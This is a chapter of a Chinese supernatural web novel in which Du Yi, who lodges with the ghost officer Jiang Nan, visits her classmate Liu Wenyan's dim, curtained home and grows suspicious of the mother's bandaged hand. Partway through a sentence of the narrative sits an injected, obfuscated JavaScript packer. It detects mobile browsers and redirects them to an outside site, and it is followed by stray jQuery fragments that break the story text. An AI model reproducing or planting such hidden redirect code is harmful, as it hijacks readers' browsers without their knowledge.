周末人流攒动的人行道上,人们可以看到这样一幅景象:
锅盖般的黑雨伞炮弹似地分开一条街上的人流,自动划出一个结界,人人避让,伞下是一位娇美的少女,穿一条白色棉麻质地连衣裙,姣好的五官充满着明显的怒气,眉毛紧蹙,海藻般的长发因为发泄的脚步活泼地在腰间摇摆,不打伞的一只手上提着纸袋。
不愉快的源头正是荡秋千似的纸袋的纸袋。
杜依没想到江南的报复心那么重。
她临关门前嘲他一句“大话精”,江南等不及事情结束后再来找她秋后算账,打开面街的窗户,叫住楼下的杜依。
杜依迷迷糊糊地抬头,不知道他有什么事。
江南站在窗前,嘴角带笑,晃一晃手上的纸袋,他说:“这个你忘记拿了。”
话音刚落,咻——的一声。
“啊!”杜依惊声尖叫。
纸袋从七层楼上飞下,瞄准黑心,直接砸在杜依的伞面上。纸袋反弹出去,里面的三个玩偶纷纷跌落出来,可怜巴巴地躺在地上。
这三个就是刘文雁送给补习班三个女同学的玩偶。之前江南把玩偶送去阴天子庙祛除邪气,今天凌晨送老人鬼去土地庙,杜依提醒,顺道路过阴天子庙拿回来。
杜依捡起玩偶拍干净,塞进纸袋里,立即指着七楼窗口,准备怒气冲冲地指责江南高空抛物的危险行为。还没等她开口,江南得意洋洋地把窗子一关,再也看不到身影。
杜依冲着七楼大喊:“神经病,没素质。”
声音传到楼上,窗户又被拉开,生怕江南再抛些什么奇奇怪怪的东西下来,杜依赶紧抱头逃走了。
凭这段时间以来的相处,杜依对江南其人的了解,他可得意了呢。
见她跑开,说不定站在窗户前笑多久,趾高气昂志得意满。
此时此刻,杜依走在人挤人,人挨人,太阳炽烈的大街上往刘家去,受到来自周围人群和太阳的重重阳气侵袭,有黑伞做遮挡的情况下,难免还是有轻微的不舒服。
江南呢?
杜依可以想像,江南不是在门窗紧闭,窗帘封死的阴凉沙发上躺着,闭目养神,就是在厕所里漫不经心地喂鱼、逗鱼。
尽管江南不怕太阳和人群,可大白天他无事他从不出门,有事也等到太阳收山,人全都回家后再说,绝不给自己找不快。
总之,惬意得很呢。
俗话说得好,君子报仇,十年不晚。
杜依错估了。
江南不是君子,十年对鬼差来说也不过是眨眼间。
枉费江南是个活了无数年的阴司鬼差,历经岁月沧桑,全然没有受到洗礼,对待她不仅像地主对待佃农劳工,能压榨就压榨,面子问题上,简直到了睚眦必报,锱铢必较的地步。
杜依想,自己一定要尽快找到宝贝珠珠,好尽早离开这个鬼差。
已知宝贝珠珠在江南身上而不是别的地方,下一步则是要找机会弄清楚,江南究竟把宝贝珠珠藏在身上的哪里。
杜依脑袋里一刻不停地思索着寻找宝贝珠珠的计划,脚下也一刻不停地往花园小区的方向赶。
直到熟悉的景色出现,竖着“花园小区”四个字的弧形立牌映入眼帘,没人管制,杜依自如地进到小区。
-
花园小区槐水苑是座褐色建筑,园中的圆形花坛里种有一棵槐树,绿荫蓬勃,遮天蔽日,园区以此为名。
然而,槐树招鬼。
槐水苑37栋,正刘文雁家的所在。
杜依见到槐水苑标志的槐树时,给刘文雁打电话,告诉她,她已经在她家楼下。
刘文雁接到杜依的来电时还惊喜,她只不过带杜依来过一次,花园小区的道路弯弯绕绕,杜依竟然还能找到。
刘文雁不忘了说马上下来接她。
不一会儿,37栋的防盗门推开,刘文雁露出半边身子,抵住门,招喊杜依。
电梯红色的数字停在4楼,在刘文雁的带领下,她们顺利到达门牌为414的住户门前。
望着414的门牌,杜依心想,江南没有说错,那一次杜依的确遭遇了鬼打墙,那鬼打墙专门防备像杜依这样企图找到414的外客,而对刘家的人不起作用。
杜依即便如同上次一般,溜进防盗门,坐电梯上来,也还是找不到414刘家,非得刘文雁来接不可。
一见到刘文雁,杜依把纸袋给了她。
开门时,刘文雁说:“休息日,我爸妈都在家,一一,你今天在我家吃晚饭好不好?”
“第一次来,挺不好意思的,会不会给叔叔阿姨添麻烦?”杜依假装推却地说。
“不用客气,说实话,我爸妈知道你要来家里,其实都可高兴了,他们还是头一回见到我的同学。”
杜依笑着说:“好,那就麻烦你们了。”
刘文雁更开心了,拉开沉重的家门。
刘家的布局大致和普通三室一厅的家庭别无二致。
装修上也没什么出挑的地方,就连家具陈设也很循规蹈矩,进门一眼可见客厅的电视壁上挂一张大寸的一家三口全家福,细节处充斥着浓烈的家庭生活气息。
杜依原本以为会有强烈的黑色鬼气扑面而来,然而也并没有,一切如常。
然,平静的湖面下总是隐藏着涌动的暗流,暗藏危机。
正值午后,一天当中阳光从最盛的顶点开始往下爬,不妨碍照亮整片天空、大地、城市的各个角落。
刘家阳台窗帘严丝合缝地拉起,几间卧室的门紧闭,使得外面的好光线一点不能泄漏进来。
门窗紧闭这点到还能理解,杜依他们的出租房也是一样,然而他们是全然的黑。
因为并不需要光亮。
鬼不畏黑但畏光。相比之下,叫黑暗无处遁形的晴天丽日里,刘家不拉开窗帘,打开房门,却开着客厅里的灯照亮,便显得多此一举,透露着怪异。
刘文雁似乎也感受到,解释说:“我们家不喜欢强光,特别是我妈妈,她生过病,对太强的光线很敏感,久了眼睛会不舒服。”
“这样啊……”杜依貌似理解地回说。
刘文雁把找好的拖鞋放在杜依脚边,让她换上。她说:“窗户关上确实会觉得闷,你要是不习惯,到我房间可以把窗户打开。”
杜依弯腰脱鞋,说:“没事,我家也不怎么开窗子。”
为保持平衡,杜依伸手扶住旁边,手下触感一片冰凉,摸到的是散发幽蓝的鱼缸。造氧机轻微的嗡鸣,缸底沉满石子和海草造景,一条灰色鲤鱼游弋其中,身上的鳞片泛着油亮的光泽。
换一边鞋时,杜依低头说:“好巧,我家也养鱼。”说完,去换另一边。
“鱼是我妈妈在养,先前还挺多的来着,有好几条,最近不知道怎么了,可能是造氧机出问题,陆陆续续死了一些,只剩这一条了。”
刘文雁还不知道杜依也有养鱼的爱好。
厕所里四桶鱼的景象浮现在眼前,杜依说:“不是我养的。江南,你还记得吧,是他养的鱼。”
“哦,原来是你哥哥喜欢啊。”
听见对话声,厨房里的人走出来。
刘文雁说:“妈妈,一一来了。”
女人腰前围着半身围裙,围裙下是宽松舒适的居家服装,用毛巾擦手,显然是一幅正在做事中途停下来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782094|209378||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的样子。听刘文雁叫女人妈妈,即刻确定女人就是黄素琴。
杜依叫了声:“阿姨好。”
黄素琴亲切地应声点头,说:“诶,你好。”
黄素琴不很漂亮,常年病痛下自带一股弱柳扶风的气质,兴许是家庭生活幸福美满,眉目透露着点点温情。
不过黄素琴方脸高颧骨,这样的相貌年轻时不觉,倒是很抗老,一点看不出是个年近四十的人。
黄素琴说:“文雁,带一一去你房间,你们先去做自己的事情,蛋糕烤好了我给你们送进去。”
“爸爸嗯?”
客厅里电视没开,没看到刘孜,书房也没人出来,休息日原本在家的刘孜,下楼的功夫不知道去了哪里。
黄素琴奇怪说:“你前脚出门,他后脚也出去了,你们没碰上?”
刘文雁摇头:“没有啊。”
黄素琴说:“可能是两部电梯错过了。知道你要带同学回家吃饭,你爸出去买烤鸭去了。”
说完,黄素琴再次看向杜依,笑了一下,回厨房。
刘文雁则回头对杜依说:“走吧,先去我房间。”
杜依微笑说:“好。”
杜依从鱼缸前经过,黑鲫鱼如死波的目珠转动,霎时迅即地摆尾掉头,鱼尾荡起小小水花,游向鱼缸的另一个角落。
进入卧室第一件事,刘文雁把装玩偶的纸袋放在进门的床头柜上,接着,让杜依先坐下,她去开窗。
刘文雁内心是战战兢兢的,小心仔细地照顾杜依的感受,生怕她哪里感到丝毫的不自在。
哪怕是丁点小事,即便杜依说明自己并不介意,也还是周到细致地处理好。
“文雁,你妈妈手受伤了?”
刚才,黄素琴的右手裹着白色绷带,绷带一直缠到手腕,消失在长袖里。
开窗的刘文雁说:“嗯……不知道怎么搞的,我问她,她也说不要紧,只是点小伤。”
“什么时候受的伤?”
刘文雁想了想,说:“星期一。”有前后发生的事情,所以这个日期刘文雁记得很清楚。
星期一的话……杜依按下眼帘,算算时间,正好是她陪刘文雁去光华寺的日子吻合。
杜依刚想顺着话继续追问下去,唰——窗帘被刘文雁拉开。
原本封闭的窗帘一旦敞开,自然的光线顷刻点亮室内。
杜依更加确定刘文雁阴郁的外表下,实则是个被家人细心呵护的幸福小孩。只因为刘文雁的卧室和刘碧洲的卧室一样。
这种相同不在于一事一物尽相雷同,而是纵观刘文雁和刘碧洲的卧室,那处处透露出的小细节小心思。可以猜想到,她们家人在为她们布置这间房子时秉持着怎样的关心和爱意。
杜依抚着刘文雁柜头的粉色星星纹灯罩,想象着晚上房间里只有这一盏灯照亮,灯光透过灯罩,映射在墙上一颗一颗的星星花纹。恐怕当事人犹然不觉,那必然是一天中最幸福的时刻吧。杜依还没忘记自己来是干什么的,主动收回手,从幻想中抽身。
取下背后的书包,杜依说:“下次上课老师提问到我我可不能一问三不知,今天一定要把落下的课程补上来,我新本子都准备好了。”
“啊,对了。”
杜依提醒了刘文雁,杜依由于生病缺席了近一周补习中心的课,她邀请杜依到家来的理由也是借杜依抄课上的笔记,共同学习。
刘文雁赶忙拿出自己的笔记本,把书桌上别的杂物收开,腾出可供两个人一块儿学习的位置。
刘文雁搬来椅子,放在桌子的另一边,说:“一一,你坐这里。”
杜依走过去,把书包放在椅子上。